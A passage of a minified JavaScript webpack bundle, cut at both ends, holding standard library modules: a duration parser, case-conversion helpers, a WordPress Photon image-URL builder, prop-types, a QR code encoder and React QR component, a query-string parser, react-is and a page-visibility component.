*(milliseconds?|msecs?|ms|seconds?|secs?|s|minutes?|mins?|m|hours?|hrs?|h|days?|d|weeks?|w|years?|yrs?|y)?$/i.exec(e);if(!s)return;var l=parseFloat(s[1]);switch((s[2]||"ms").toLowerCase()){case"years":case"year":case"yrs":case"yr":case"y":return l*i;case"weeks":case"week":case"w":return l*o;case"days":case"day":case"d":return l*a;case"hours":case"hour":case"hrs":case"hr":case"h":return l*r;case"minutes":case"minute":case"mins":case"min":case"m":return l*n;case"seconds":case"second":case"secs":case"sec":case"s":return l*t;case"milliseconds":case"millisecond":case"msecs":case"msec":case"ms":return l;default:return}}(e);if("number"===c&&isFinite(e))return l.long?function(e){var o=Math.abs(e);if(o>=a)return s(e,o,a,"day");if(o>=r)return s(e,o,r,"hour");if(o>=n)return s(e,o,n,"minute");if(o>=t)return s(e,o,t,"second");return e+" ms"}(e):function(e){var o=Math.abs(e);if(o>=a)return Math.round(e/a)+"d";if(o>=r)return Math.round(e/r)+"h";if(o>=n)return Math.round(e/n)+"m";if(o>=t)return Math.round(e/t)+"s";return e+"ms"}(e);throw new Error("val is not a non-empty string or a valid number. val="+JSON.stringify(e))}},68308:function(e,t,n){"use strict";n.d(t,{B:function(){return i}});var r=n(97740),a=[/([a-z0-9])([A-Z])/g,/([A-Z])([A-Z][a-z])/g],o=/[^A-Z0-9]+/gi;function i(e,t){void 0===t&&(t={});for(var n=t.splitRegexp,i=void 0===n?a:n,l=t.stripRegexp,c=void 0===l?o:l,u=t.transform,d=void 0===u?r.U:u,p=t.delimiter,m=void 0===p?" ":p,h=s(s(e,i,"$1\0$2"),c,"\0"),f=0,g=h.length;"\0"===h.charAt(f);)f++;for(;"\0"===h.charAt(g-1);)g--;return h.slice(f,g).split("\0").map(d).join(m)}function s(e,t,n){return t instanceof RegExp?e.replace(t,n):t.reduce((function(e,t){return e.replace(t,n)}),e)}},76854:function(e,t,n){"use strict";n.d(t,{o:function(){return o}});var r=n(38697),a=n(77352);function o(e,t){return void 0===t&&(t={}),(0,a.$)(e,(0,r.pi)({delimiter:"-"},t))}},72867:function(e,t,n){"use strict";n.d(t,{By:function(){return o},Ho:function(){return s},Pv:function(){return i}});var r=n(38697),a=n(68308);function o(e,t){var n=e.charAt(0),r=e.substr(1).toLowerCase();return t>0&&n>="0"&&n<="9"?"_"+n+r:""+n.toUpperCase()+r}function i(e){return e.charAt(0).toUpperCase()+e.slice(1).toLowerCase()}function s(e,t){return void 0===t&&(t={}),(0,a.B)(e,(0,r.pi)({delimiter:"",transform:o},t))}},76559:function(e,t,n){"use strict";n.d(t,{Y:function(){return o}});var r=n(38697),a=n(77352);function o(e,t){return void 0===t&&(t={}),(0,a.$)(e,(0,r.pi)({delimiter:"/"},t))}},69424:function(e,t,n){"use strict";n.d(t,{Z:function(){return m}});var r=n(94273),a=n.n(r),o=n(53191),i=n.n(o),s=n(51128),l=n.n(s)()("photon"),c={width:"w",height:"h",letterboxing:"lb",removeLetterboxing:"ulb"},u="__domain__.invalid",d="http://".concat(u),p="https://i0.wp.com";function m(e,t){var n;try{n=new URL(e,d)}catch(e){return null}var r,o,s,m,h,f="https:"===n.protocol,g=new URL(p);if(h=n.host,/^i[0-2]\.wp\.com$/.test(h))g.pathname=n.pathname,g.hostname=n.hostname;else{if(n.search)return null;var b=n.href.replace("".concat(n.protocol,"/"),"");"blob:"===n.protocol&&(b=n.pathname.replace("://","//")),n.hostname===u&&(b=n.pathname),g.pathname=b,g.hostname=(r=b,o=a()(r),s=i()(o),m="i"+Math.floor(3*s()),l('determined server "%s" to use with "%s"',m,r),m+".wp.com"),f&&g.searchParams.set("ssl",1)}if(t)for(var v in t)"host"!==v&&"hostname"!==v?"secure"!==v||t[v]?g.searchParams.set(c[v]||v,t[v]):g.protocol="http:":g.hostname=t[v];return l("generated Photon URL: %s",g.href),g.href}},469:function(e,t,n){"use strict";var r=n(90758);function a(){}function o(){}o.resetWarningCache=a,e.exports=function(){function e(e,t,n,a,o,i){if(i!==r){var s=new Error("Calling PropTypes validators directly is not supported by the `prop-types` package. Use PropTypes.checkPropTypes() to call them. Read more at http://fb.me/use-check-prop-types");throw s.name="Invariant Violation",s}}function t(){return e}e.isRequired=e;var n={array:e,bigint:e,bool:e,func:e,number:e,object:e,string:e,symbol:e,any:e,arrayOf:t,element:e,elementType:e,instanceOf:t,node:e,objectOf:t,oneOf:t,oneOfType:t,shape:t,exact:t,checkPropTypes:o,resetWarningCache:a};return n.PropTypes=n,n}},25162:function(e,t,n){e.exports=n(469)()},90758:function(e){"use strict";e.exports="SECRET_DO_NOT_PASS_THIS_OR_YOU_WILL_BE_FIRED"},28918:function(e,t,n){"use strict";n.d(t,{ZP:function(){return P}});var r,a=n(99196),o=n.n(a),i=Object.defineProperty,s=Object.getOwnPropertySymbols,l=Object.prototype.hasOwnProperty,c=Object.prototype.propertyIsEnumerable,u=(e,t,n)=>t in e?i(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,d=(e,t)=>{for(var n in t||(t={}))l.call(t,n)&&u(e,n,t[n]);if(s)for(var n of s(t))c.call(t,n)&&u(e,n,t[n]);return e},p=(e,t)=>{var n={};for(var r in e)l.call(e,r)&&t.indexOf(r)<0&&(n[r]=e[r]);if(null!=e&&s)for(var r of s(e))t.indexOf(r)<0&&c.call(e,r)&&(n[r]=e[r]);return n};(e=>{const t=class{constructor(e,n,r,a){if(this.version=e,this.errorCorrectionLevel=n,this.modules=[],this.isFunction=[],e<t.MIN_VERSION||e>t.MAX_VERSION)throw new RangeError("Version value out of range");if(a<-1||a>7)throw new RangeError("Mask value out of range");this.size=4*e+17;let i=[];for(let e=0;e<this.size;e++)i.push(!1);for(let e=0;e<this.size;e++)this.modules.push(i.slice()),this.isFunction.push(i.slice());this.drawFunctionPatterns();const s=this.addEccAndInterleave(r);if(this.drawCodewords(s),-1==a){let e=1e9;for(let t=0;t<8;t++){this.applyMask(t),this.drawFormatBits(t);const n=this.getPenaltyScore();n<e&&(a=t,e=n),this.applyMask(t)}}o(0<=a&&a<=7),this.mask=a,this.applyMask(a),this.drawFormatBits(a),this.isFunction=[]}static encodeText(n,r){const a=e.QrSegment.makeSegments(n);return t.encodeSegments(a,r)}static encodeBinary(n,r){const a=e.QrSegment.makeBytes(n);return t.encodeSegments([a],r)}static encodeSegments(e,n,a=1,i=40,l=-1,c=!0){if(!(t.MIN_VERSION<=a&&a<=i&&i<=t.MAX_VERSION)||l<-1||l>7)throw new RangeError("Invalid value");let u,d;for(u=a;;u++){const r=8*t.getNumDataCodewords(u,n),a=s.getTotalBits(e,u);if(a<=r){d=a;break}if(u>=i)throw new RangeError("Data too long")}for(const e of[t.Ecc.MEDIUM,t.Ecc.QUARTILE,t.Ecc.HIGH])c&&d<=8*t.getNumDataCodewords(u,e)&&(n=e);let p=[];for(const t of e){r(t.mode.modeBits,4,p),r(t.numChars,t.mode.numCharCountBits(u),p);for(const e of t.getData())p.push(e)}o(p.length==d);const m=8*t.getNumDataCodewords(u,n);o(p.length<=m),r(0,Math.min(4,m-p.length),p),r(0,(8-p.length%8)%8,p),o(p.length%8==0);for(let e=236;p.length<m;e^=253)r(e,8,p);let h=[];for(;8*h.length<p.length;)h.push(0);return p.forEach(((e,t)=>h[t>>>3]|=e<<7-(7&t))),new t(u,n,h,l)}getModule(e,t){return 0<=e&&e<this.size&&0<=t&&t<this.size&&this.modules[t][e]}getModules(){return this.modules}drawFunctionPatterns(){for(let e=0;e<this.size;e++)this.setFunctionModule(6,e,e%2==0),this.setFunctionModule(e,6,e%2==0);this.drawFinderPattern(3,3),this.drawFinderPattern(this.size-4,3),this.drawFinderPattern(3,this.size-4);const e=this.getAlignmentPatternPositions(),t=e.length;for(let n=0;n<t;n++)for(let r=0;r<t;r++)0==n&&0==r||0==n&&r==t-1||n==t-1&&0==r||this.drawAlignmentPattern(e[n],e[r]);this.drawFormatBits(0),this.drawVersion()}drawFormatBits(e){const t=this.errorCorrectionLevel.formatBits<<3|e;let n=t;for(let e=0;e<10;e++)n=n<<1^1335*(n>>>9);const r=21522^(t<<10|n);o(r>>>15==0);for(let e=0;e<=5;e++)this.setFunctionModule(8,e,a(r,e));this.setFunctionModule(8,7,a(r,6)),this.setFunctionModule(8,8,a(r,7)),this.setFunctionModule(7,8,a(r,8));for(let e=9;e<15;e++)this.setFunctionModule(14-e,8,a(r,e));for(let e=0;e<8;e++)this.setFunctionModule(this.size-1-e,8,a(r,e));for(let e=8;e<15;e++)this.setFunctionModule(8,this.size-15+e,a(r,e));this.setFunctionModule(8,this.size-8,!0)}drawVersion(){if(this.version<7)return;let e=this.version;for(let t=0;t<12;t++)e=e<<1^7973*(e>>>11);const t=this.version<<12|e;o(t>>>18==0);for(let e=0;e<18;e++){const n=a(t,e),r=this.size-11+e%3,o=Math.floor(e/3);this.setFunctionModule(r,o,n),this.setFunctionModule(o,r,n)}}drawFinderPattern(e,t){for(let n=-4;n<=4;n++)for(let r=-4;r<=4;r++){const a=Math.max(Math.abs(r),Math.abs(n)),o=e+r,i=t+n;0<=o&&o<this.size&&0<=i&&i<this.size&&this.setFunctionModule(o,i,2!=a&&4!=a)}}drawAlignmentPattern(e,t){for(let n=-2;n<=2;n++)for(let r=-2;r<=2;r++)this.setFunctionModule(e+r,t+n,1!=Math.max(Math.abs(r),Math.abs(n)))}setFunctionModule(e,t,n){this.modules[t][e]=n,this.isFunction[t][e]=!0}addEccAndInterleave(e){const n=this.version,r=this.errorCorrectionLevel;if(e.length!=t.getNumDataCodewords(n,r))throw new RangeError("Invalid argument");const a=t.NUM_ERROR_CORRECTION_BLOCKS[r.ordinal][n],i=t.ECC_CODEWORDS_PER_BLOCK[r.ordinal][n],s=Math.floor(t.getNumRawDataModules(n)/8),l=a-s%a,c=Math.floor(s/a);let u=[];const d=t.reedSolomonComputeDivisor(i);for(let n=0,r=0;n<a;n++){let a=e.slice(r,r+c-i+(n<l?0:1));r+=a.length;const o=t.reedSolomonComputeRemainder(a,d);n<l&&a.push(0),u.push(a.concat(o))}let p=[];for(let e=0;e<u[0].length;e++)u.forEach(((t,n)=>{(e!=c-i||n>=l)&&p.push(t[e])}));return o(p.length==s),p}drawCodewords(e){if(e.length!=Math.floor(t.getNumRawDataModules(this.version)/8))throw new RangeError("Invalid argument");let n=0;for(let t=this.size-1;t>=1;t-=2){6==t&&(t=5);for(let r=0;r<this.size;r++)for(let o=0;o<2;o++){const i=t-o,s=0==(t+1&2)?this.size-1-r:r;!this.isFunction[s][i]&&n<8*e.length&&(this.modules[s][i]=a(e[n>>>3],7-(7&n)),n++)}}o(n==8*e.length)}applyMask(e){if(e<0||e>7)throw new RangeError("Mask value out of range");for(let t=0;t<this.size;t++)for(let n=0;n<this.size;n++){let r;switch(e){case 0:r=(n+t)%2==0;break;case 1:r=t%2==0;break;case 2:r=n%3==0;break;case 3:r=(n+t)%3==0;break;case 4:r=(Math.floor(n/3)+Math.floor(t/2))%2==0;break;case 5:r=n*t%2+n*t%3==0;break;case 6:r=(n*t%2+n*t%3)%2==0;break;case 7:r=((n+t)%2+n*t%3)%2==0;break;default:throw new Error("Unreachable")}!this.isFunction[t][n]&&r&&(this.modules[t][n]=!this.modules[t][n])}}getPenaltyScore(){let e=0;for(let n=0;n<this.size;n++){let r=!1,a=0,o=[0,0,0,0,0,0,0];for(let i=0;i<this.size;i++)this.modules[n][i]==r?(a++,5==a?e+=t.PENALTY_N1:a>5&&e++):(this.finderPenaltyAddHistory(a,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[n][i],a=1);e+=this.finderPenaltyTerminateAndCount(r,a,o)*t.PENALTY_N3}for(let n=0;n<this.size;n++){let r=!1,a=0,o=[0,0,0,0,0,0,0];for(let i=0;i<this.size;i++)this.modules[i][n]==r?(a++,5==a?e+=t.PENALTY_N1:a>5&&e++):(this.finderPenaltyAddHistory(a,o),r||(e+=this.finderPenaltyCountPatterns(o)*t.PENALTY_N3),r=this.modules[i][n],a=1);e+=this.finderPenaltyTerminateAndCount(r,a,o)*t.PENALTY_N3}for(let n=0;n<this.size-1;n++)for(let r=0;r<this.size-1;r++){const a=this.modules[n][r];a==this.modules[n][r+1]&&a==this.modules[n+1][r]&&a==this.modules[n+1][r+1]&&(e+=t.PENALTY_N2)}let n=0;for(const e of this.modules)n=e.reduce(((e,t)=>e+(t?1:0)),n);const r=this.size*this.size,a=Math.ceil(Math.abs(20*n-10*r)/r)-1;return o(0<=a&&a<=9),e+=a*t.PENALTY_N4,o(0<=e&&e<=2568888),e}getAlignmentPatternPositions(){if(1==this.version)return[];{const e=Math.floor(this.version/7)+2,t=32==this.version?26:2*Math.ceil((4*this.version+4)/(2*e-2));let n=[6];for(let r=this.size-7;n.length<e;r-=t)n.splice(1,0,r);return n}}static getNumRawDataModules(e){if(e<t.MIN_VERSION||e>t.MAX_VERSION)throw new RangeError("Version number out of range");let n=(16*e+128)*e+64;if(e>=2){const t=Math.floor(e/7)+2;n-=(25*t-10)*t-55,e>=7&&(n-=36)}return o(208<=n&&n<=29648),n}static getNumDataCodewords(e,n){return Math.floor(t.getNumRawDataModules(e)/8)-t.ECC_CODEWORDS_PER_BLOCK[n.ordinal][e]*t.NUM_ERROR_CORRECTION_BLOCKS[n.ordinal][e]}static reedSolomonComputeDivisor(e){if(e<1||e>255)throw new RangeError("Degree out of range");let n=[];for(let t=0;t<e-1;t++)n.push(0);n.push(1);let r=1;for(let a=0;a<e;a++){for(let e=0;e<n.length;e++)n[e]=t.reedSolomonMultiply(n[e],r),e+1<n.length&&(n[e]^=n[e+1]);r=t.reedSolomonMultiply(r,2)}return n}static reedSolomonComputeRemainder(e,n){let r=n.map((e=>0));for(const a of e){const e=a^r.shift();r.push(0),n.forEach(((n,a)=>r[a]^=t.reedSolomonMultiply(n,e)))}return r}static reedSolomonMultiply(e,t){if(e>>>8!=0||t>>>8!=0)throw new RangeError("Byte out of range");let n=0;for(let r=7;r>=0;r--)n=n<<1^285*(n>>>7),n^=(t>>>r&1)*e;return o(n>>>8==0),n}finderPenaltyCountPatterns(e){const t=e[1];o(t<=3*this.size);const n=t>0&&e[2]==t&&e[3]==3*t&&e[4]==t&&e[5]==t;return(n&&e[0]>=4*t&&e[6]>=t?1:0)+(n&&e[6]>=4*t&&e[0]>=t?1:0)}finderPenaltyTerminateAndCount(e,t,n){return e&&(this.finderPenaltyAddHistory(t,n),t=0),t+=this.size,this.finderPenaltyAddHistory(t,n),this.finderPenaltyCountPatterns(n)}finderPenaltyAddHistory(e,t){0==t[0]&&(e+=this.size),t.pop(),t.unshift(e)}};let n=t;function r(e,t,n){if(t<0||t>31||e>>>t!=0)throw new RangeError("Value out of range");for(let r=t-1;r>=0;r--)n.push(e>>>r&1)}function a(e,t){return 0!=(e>>>t&1)}function o(e){if(!e)throw new Error("Assertion error")}n.MIN_VERSION=1,n.MAX_VERSION=40,n.PENALTY_N1=3,n.PENALTY_N2=3,n.PENALTY_N3=40,n.PENALTY_N4=10,n.ECC_CODEWORDS_PER_BLOCK=[[-1,7,10,15,20,26,18,20,24,30,18,20,24,26,30,22,24,28,30,28,28,28,28,30,30,26,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,10,16,26,18,24,16,18,22,22,26,30,22,22,24,24,28,28,26,26,26,26,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28,28],[-1,13,22,18,26,18,24,18,22,20,24,28,26,24,20,30,24,28,28,26,30,28,30,30,30,30,28,30,30,30,30,30,30,30,30,30,30,30,30,30,30],[-1,17,28,22,16,22,28,26,26,24,28,24,28,22,24,24,30,28,28,26,28,30,24,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30,30]],n.NUM_ERROR_CORRECTION_BLOCKS=[[-1,1,1,1,1,1,2,2,2,2,4,4,4,4,4,6,6,6,6,7,8,8,9,9,10,12,12,12,13,14,15,16,17,18,19,19,20,21,22,24,25],[-1,1,1,1,2,2,4,4,4,5,5,5,8,9,9,10,10,11,13,14,16,17,17,18,20,21,23,25,26,28,29,31,33,35,37,38,40,43,45,47,49],[-1,1,1,2,2,4,4,6,6,8,8,8,10,12,16,12,17,16,18,21,20,23,23,25,27,29,34,34,35,38,40,43,45,48,51,53,56,59,62,65,68],[-1,1,1,2,4,4,4,5,6,8,8,11,11,16,16,18,16,19,21,25,25,25,34,30,32,35,37,40,42,45,48,51,54,57,60,63,66,70,74,77,81]],e.QrCode=n;const i=class{constructor(e,t,n){if(this.mode=e,this.numChars=t,this.bitData=n,t<0)throw new RangeError("Invalid argument");this.bitData=n.slice()}static makeBytes(e){let t=[];for(const n of e)r(n,8,t);return new i(i.Mode.BYTE,e.length,t)}static makeNumeric(e){if(!i.isNumeric(e))throw new RangeError("String contains non-numeric characters");let t=[];for(let n=0;n<e.length;){const a=Math.min(e.length-n,3);r(parseInt(e.substr(n,a),10),3*a+1,t),n+=a}return new i(i.Mode.NUMERIC,e.length,t)}static makeAlphanumeric(e){if(!i.isAlphanumeric(e))throw new RangeError("String contains unencodable characters in alphanumeric mode");let t,n=[];for(t=0;t+2<=e.length;t+=2){let a=45*i.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t));a+=i.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t+1)),r(a,11,n)}return t<e.length&&r(i.ALPHANUMERIC_CHARSET.indexOf(e.charAt(t)),6,n),new i(i.Mode.ALPHANUMERIC,e.length,n)}static makeSegments(e){return""==e?[]:i.isNumeric(e)?[i.makeNumeric(e)]:i.isAlphanumeric(e)?[i.makeAlphanumeric(e)]:[i.makeBytes(i.toUtf8ByteArray(e))]}static makeEci(e){let t=[];if(e<0)throw new RangeError("ECI assignment value out of range");if(e<128)r(e,8,t);else if(e<16384)r(2,2,t),r(e,14,t);else{if(!(e<1e6))throw new RangeError("ECI assignment value out of range");r(6,3,t),r(e,21,t)}return new i(i.Mode.ECI,0,t)}static isNumeric(e){return i.NUMERIC_REGEX.test(e)}static isAlphanumeric(e){return i.ALPHANUMERIC_REGEX.test(e)}getData(){return this.bitData.slice()}static getTotalBits(e,t){let n=0;for(const r of e){const e=r.mode.numCharCountBits(t);if(r.numChars>=1<<e)return 1/0;n+=4+e+r.bitData.length}return n}static toUtf8ByteArray(e){e=encodeURI(e);let t=[];for(let n=0;n<e.length;n++)"%"!=e.charAt(n)?t.push(e.charCodeAt(n)):(t.push(parseInt(e.substr(n+1,2),16)),n+=2);return t}};let s=i;s.NUMERIC_REGEX=/^[0-9]*$/,s.ALPHANUMERIC_REGEX=/^[A-Z0-9 $%*+.\/:-]*$/,s.ALPHANUMERIC_CHARSET="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ $%*+-./:",e.QrSegment=s})(r||(r={})),(e=>{let t;(e=>{const t=class{constructor(e,t){this.ordinal=e,this.formatBits=t}};let n=t;n.LOW=new t(0,1),n.MEDIUM=new t(1,0),n.QUARTILE=new t(2,3),n.HIGH=new t(3,2),e.Ecc=n})(t=e.QrCode||(e.QrCode={}))})(r||(r={})),(e=>{let t;(e=>{const t=class{constructor(e,t){this.modeBits=e,this.numBitsCharCount=t}numCharCountBits(e){return this.numBitsCharCount[Math.floor((e+7)/17)]}};let n=t;n.NUMERIC=new t(1,[10,12,14]),n.ALPHANUMERIC=new t(2,[9,11,13]),n.BYTE=new t(4,[8,16,16]),n.KANJI=new t(8,[8,10,12]),n.ECI=new t(7,[0,0,0]),e.Mode=n})(t=e.QrSegment||(e.QrSegment={}))})(r||(r={}));var m=r,h={L:m.QrCode.Ecc.LOW,M:m.QrCode.Ecc.MEDIUM,Q:m.QrCode.Ecc.QUARTILE,H:m.QrCode.Ecc.HIGH},f=128,g="L",b="#FFFFFF",v="#000000",k=!1,y=4,E=.1;function w(e,t=0){const n=[];return e.forEach((function(e,r){let a=null;e.forEach((function(o,i){if(!o&&null!==a)return n.push(`M${a+t} ${r+t}h${i-a}v1H${a+t}z`),void(a=null);if(i!==e.length-1)o&&null===a&&(a=i);else{if(!o)return;null===a?n.push(`M${i+t},${r+t} h1v1H${i+t}z`):n.push(`M${a+t},${r+t} h${i+1-a}v1H${a+t}z`)}}))})),n.join("")}function _(e,t){return e.slice().map(((e,n)=>n<t.y||n>=t.y+t.h?e:e.map(((e,n)=>(n<t.x||n>=t.x+t.w)&&e))))}function C(e,t,n,r){if(null==r)return null;const a=n?y:0,o=e.length+2*a,i=Math.floor(t*E),s=o/t,l=(r.width||i)*s,c=(r.height||i)*s,u=null==r.x?e.length/2-l/2:r.x*s,d=null==r.y?e.length/2-c/2:r.y*s;let p=null;if(r.excavate){let e=Math.floor(u),t=Math.floor(d);p={x:e,y:t,w:Math.ceil(l+u-e),h:Math.ceil(c+d-t)}}return{x:u,y:d,h:c,w:l,excavation:p}}var S=function(){try{(new Path2D).addPath(new Path2D)}catch(e){return!1}return!0}();function j(e){const t=e,{value:n,size:r=f,level:i=g,bgColor:s=b,fgColor:l=v,includeMargin:c=k,style:u,imageSettings:E}=t,j=p(t,["value","size","level","bgColor","fgColor","includeMargin","style","imageSettings"]),x=null==E?void 0:E.src,P=(0,a.useRef)(null),L=(0,a.useRef)(null),[T,N]=(0,a.useState)(!1);(0,a.useEffect)((()=>{if(null!=P.current){const e=P.current,t=e.getContext("2d");if(!t)return;let a=m.QrCode.encodeText(n,h[i]).getModules();const o=c?y:0,u=a.length+2*o,d=C(a,r,c,E),p=L.current,f=null!=d&&null!==p&&p.complete&&0!==p.naturalHeight&&0!==p.naturalWidth;f&&null!=d.excavation&&(a=_(a,d.excavation));const g=window.devicePixelRatio||1;e.height=e.width=r*g;const b=r/u*g;t.scale(b,b),t.fillStyle=s,t.fillRect(0,0,u,u),t.fillStyle=l,S?t.fill(new Path2D(w(a,o))):a.forEach((function(e,n){e.forEach((function(e,r){e&&t.fillRect(r+o,n+o,1,1)}))})),f&&t.drawImage(p,d.x+o,d.y+o,d.w,d.h)}})),(0,a.useEffect)((()=>{N(!1)}),[x]);const A=d({height:r,width:r},u);let R=null;return null!=x&&(R=o().createElement("img",{src:x,key:x,style:{display:"none"},onLoad:()=>{N(!0)},ref:L})),o().createElement(o().Fragment,null,o().createElement("canvas",d({style:A,height:r,width:r,ref:P},j)),R)}function x(e){const t=e,{value:n,size:r=f,level:a=g,bgColor:i=b,fgColor:s=v,includeMargin:l=k,imageSettings:c}=t,u=p(t,["value","size","level","bgColor","fgColor","includeMargin","imageSettings"]);let E=m.QrCode.encodeText(n,h[a]).getModules();const S=l?y:0,j=E.length+2*S,x=C(E,r,l,c);let P=null;null!=c&&null!=x&&(null!=x.excavation&&(E=_(E,x.excavation)),P=o().createElement("image",{xlinkHref:c.src,height:x.h,width:x.w,x:x.x+S,y:x.y+S,preserveAspectRatio:"none"}));const L=w(E,S);return o().createElement("svg",d({height:r,width:r,viewBox:`0 0 ${j} ${j}`},u),o().createElement("path",{fill:i,d:`M0,0 h${j}v${j}H0z`,shapeRendering:"crispEdges"}),o().createElement("path",{fill:s,d:L,shapeRendering:"crispEdges"}),P)}var P=e=>{const t=e,{renderAs:n}=t,r=p(t,["renderAs"]);return"svg"===n?o().createElement(x,d({},r)):o().createElement(j,d({},r))}},40142:function(e,t){"use strict";var n=Object.prototype.hasOwnProperty;function r(e){try{return decodeURIComponent(e.replace(/\+/g," "))}catch(e){return null}}function a(e){try{return encodeURIComponent(e)}catch(e){return null}}t.stringify=function(e,t){t=t||"";var r,o,i=[];for(o in"string"!=typeof t&&(t="?"),e)if(n.call(e,o)){if((r=e[o])||null!=r&&!isNaN(r)||(r=""),o=a(o),r=a(r),null===o||null===r)continue;i.push(o+"="+r)}return i.length?t+i.join("&"):""},t.parse=function(e){for(var t,n=/([^=?#&]+)=?([^&]*)/g,a={};t=n.exec(e);){var o=r(t[1]),i=r(t[2]);null===o||null===i||o in a||(a[o]=i)}return a}},51516:function(e,t,n){"use strict";var r=n(91850);t.createRoot=r.createRoot,t.hydrateRoot=r.hydrateRoot},8922:function(e,t){"use strict";var n="function"==typeof Symbol&&Symbol.for,r=n?Symbol.for("react.element"):60103,a=n?Symbol.for("react.portal"):60106,o=n?Symbol.for("react.fragment"):60107,i=n?Symbol.for("react.strict_mode"):60108,s=n?Symbol.for("react.profiler"):60114,l=n?Symbol.for("react.provider"):60109,c=n?Symbol.for("react.context"):60110,u=n?Symbol.for("react.async_mode"):60111,d=n?Symbol.for("react.concurrent_mode"):60111,p=n?Symbol.for("react.forward_ref"):60112,m=n?Symbol.for("react.suspense"):60113,h=n?Symbol.for("react.suspense_list"):60120,f=n?Symbol.for("react.memo"):60115,g=n?Symbol.for("react.lazy"):60116,b=n?Symbol.for("react.block"):60121,v=n?Symbol.for("react.fundamental"):60117,k=n?Symbol.for("react.responder"):60118,y=n?Symbol.for("react.scope"):60119;function E(e){if("object"==typeof e&&null!==e){var t=e.$$typeof;switch(t){case r:switch(e=e.type){case u:case d:case o:case s:case i:case m:return e;default:switch(e=e&&e.$$typeof){case c:case p:case g:case f:case l:return e;default:return t}}case a:return t}}}function w(e){return E(e)===d}t.AsyncMode=u,t.ConcurrentMode=d,t.ContextConsumer=c,t.ContextProvider=l,t.Element=r,t.ForwardRef=p,t.Fragment=o,t.Lazy=g,t.Memo=f,t.Portal=a,t.Profiler=s,t.StrictMode=i,t.Suspense=m,t.isAsyncMode=function(e){return w(e)||E(e)===u},t.isConcurrentMode=w,t.isContextConsumer=function(e){return E(e)===c},t.isContextProvider=function(e){return E(e)===l},t.isElement=function(e){return"object"==typeof e&&null!==e&&e.$$typeof===r},t.isForwardRef=function(e){return E(e)===p},t.isFragment=function(e){return E(e)===o},t.isLazy=function(e){return E(e)===g},t.isMemo=function(e){return E(e)===f},t.isPortal=function(e){return E(e)===a},t.isProfiler=function(e){return E(e)===s},t.isStrictMode=function(e){return E(e)===i},t.isSuspense=function(e){return E(e)===m},t.isValidElementType=function(e){return"string"==typeof e||"function"==typeof e||e===o||e===d||e===s||e===i||e===m||e===h||"object"==typeof e&&null!==e&&(e.$$typeof===g||e.$$typeof===f||e.$$typeof===l||e.$$typeof===c||e.$$typeof===p||e.$$typeof===v||e.$$typeof===k||e.$$typeof===y||e.$$typeof===b)},t.typeOf=E},93801:function(e,t,n){"use strict";e.exports=n(8922)},671:function(e,t,n){"use strict";var r=n(25162),a=n.n(r),o=n(99196),i=n.n(o),s=n(19905),l=function(){function e(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}return function(t,n,r){return n&&e(t.prototype,n),r&&e(t,r),t}}();function c(e){if(Array.isArray(e)){for(var t=0,n=Array(e.length);t<e.length;t++)n[t]=e[t];return n}return Array.from(e)}var u=function(e){function t(e){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,t);var n=function(e,t){if(!e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return!t||"object"!=typeof t&&"function"!=typeof t?e:t}(this,(t.__proto__||Object.getPrototypeOf(t)).call(this,e));return n.state={isSupported:s.Gb&&s.WD},n}return function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function, not "+typeof t);e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,enumerable:!1,writable:!0,configurable:!0}}),t&&(Object.setPrototypeOf?Object.setPrototypeOf(e,t):e.__proto__=t)}(t,e),l(t,[{key:"componentDidMount",value:function(){this.state.isSupported&&(this.handleVisibilityChange=this.handleVisibilityChange.bind(this),document.addEventListener(s.WD.event,this.handleVisibilityChange))}},{key:"componentWillUnmount",value:function(){this.state.isSupported&&document.removeEventListener(s.WD.event,this.handleVisibilityChange)}},{key:"handleVisibilityChange",value:function(){var e;"function"==typeof this.props.onChange&&(e=this.props).onChange.apply(e,c((0,s.XO)()));"function"==typeof this.props.children&&this.forceUpdate()}},{key:"render",value:function(){return this.props.children?"function"==typeof this.props.children?this.state.isSupported?(e=this.props).children.apply(e,c((0,s.XO)())):this.props.children():i().Children.only(this.props.children):null;var e}}]),t}(i().Component);u.displayName="PageVisibility",u.propTypes={onChange:a().func,children:a().oneOfType([a().node,a().func])},t.Z=u},90105:function(e,t,n){"use strict";var r=n(671);t.Z=r.Z},19905:function(e,t,n){"use strict";n.d(t,{Gb:function(){return o},WD:function(){return i},XO:function(){return s}});var r="undefined"!=typeof document,a=[{hidden:"hidden",event:"visibilitychange",state:"visibilityState"},{hidden:"webkitHidden",event:"webkitvisibilitychange",state:"webkitVisibilityState"},{hidden:"mozHidden",event:"mozvisibilitychange",state:"mozVisibilityState"},{hidden:"msHidden",event:"msvisibilitychange",state:"msVisibilityState"},{hidden:"oHidden",event:"ovisibilitychange",state:"oVisibilityState"}],o=r&&Boolean(document.addEventListener),i=function(){if(!o)return null;var e=!0,t=!1,n=void 0;try{for(var r,i=a[Symbol.iterator]();!(e=(r=i.next()).done);e=!0){var s=r.value;if(s.hidden in document)return s}}catch(e){t=!0,n=e}finally{try{!e&&i.return&&i.return()}finally{if(t)throw n}}return null}(),s=function(){if(!i)return[!0,"visible"];var e=i.hidden,t=i.state;return[!document[e],document[t]]}},24561:function(e,t,n){"use strict";var r=n(99196),a=Symbol.for("react.element"),o=Symbol.for("react.fragment"),i=Object.prototype.hasOwnProperty,s=r.__SECRET_INTERNALS_DO_NOT_USE_OR_YOU_WILL_BE_FIRED.ReactCurrentOwner,l={key:!0,ref:!0,__self:!0,__source:!0};function c(e,t,n){var r,o={},c=null,u=null;for(r in void 0!==n&&(c=""+n),void 0!==t.key&&(c=""+t.key),void 0!==t.ref&&(u=t.ref),t)i.call(t,r)&&!l.hasOwnProperty(r)&&(o[r]=t[r]);if(e&&e.defaultProps)for(r in 